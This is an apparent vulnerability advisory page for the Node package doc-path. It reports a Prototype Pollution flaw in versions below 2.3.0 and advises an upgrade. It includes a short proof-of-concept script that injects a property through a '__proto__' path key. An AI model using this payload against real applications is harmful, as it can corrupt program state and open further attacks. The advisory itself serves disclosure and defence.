doc-path@1.0.0 vulnerabilities

A document path library for Node

Direct Vulnerabilities

Known vulnerabilities in the doc-path package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

doc-path is an A document path library for Node

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

const path = require('doc-path');
let obj = {};
console.log("Before : " + obj.polluted);
path.setPath({}, '__proto__.polluted', "yes");
console.log("After : " + obj.polluted);
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

Upgrade doc-path to version 2.3.0 or higher.

<2.3.0